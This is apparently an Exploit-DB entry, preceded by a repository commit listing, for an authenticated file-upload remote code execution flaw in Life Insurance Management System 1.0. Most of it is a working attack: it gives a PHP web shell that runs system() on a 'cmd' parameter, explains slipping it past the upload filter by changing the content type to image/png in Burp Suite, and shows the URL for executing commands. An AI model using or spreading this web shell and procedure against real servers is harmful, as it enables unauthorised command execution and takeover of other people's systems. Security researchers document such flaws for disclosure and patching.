8d70b4e885
6 changes to exploits/shellcodes Life Insurance Management System 1.0 - 'client_id' SQL Injection Life Insurance Management System 1.0 - File Upload RCE (Authenticated) Nagios XI 5.7.X - Remote Code Exection RCE (Authenticated) Nagios XI 5.7.X - Remote Code Execution RCE (Authenticated) Cisco UCS Manager 2.2(1d) - Remote Command Execution Xwiki CMS 12.10.2 - Cross Site Scripting (XSS) Inteno IOPSYS 3.16.4 - root filesystem access via sambashare (Authenticated)
24 lines
No EOL
787 B
Text
24 lines
No EOL
787 B
Text
# Exploit Title: Life Insurance Management System 1.0 - File Upload RCE (Authenticated)
|
|
# Date: 15/1/2021
|
|
# Exploit Author: Aitor Herrero
|
|
# Vendor Homepage: https://www.sourcecodester.com
|
|
# Software Link: https://www.sourcecodester.com/php/14665/life-insurance-management-system-php-full-source-code.html
|
|
# Version: 1.0
|
|
# Tested on: Windows /linux /
|
|
|
|
Login in the application
|
|
|
|
Go to Clients and you can add new client o modify existent
|
|
|
|
Click examination botton and upload a test.php with content:
|
|
|
|
"<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd =
|
|
($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>"
|
|
|
|
Click Upload and intercept with burpsuite
|
|
|
|
Change the content type to image/png
|
|
|
|
Go to the path
|
|
|
|
http://localhost:8080/lims/uploads/test.php?cmd=dir |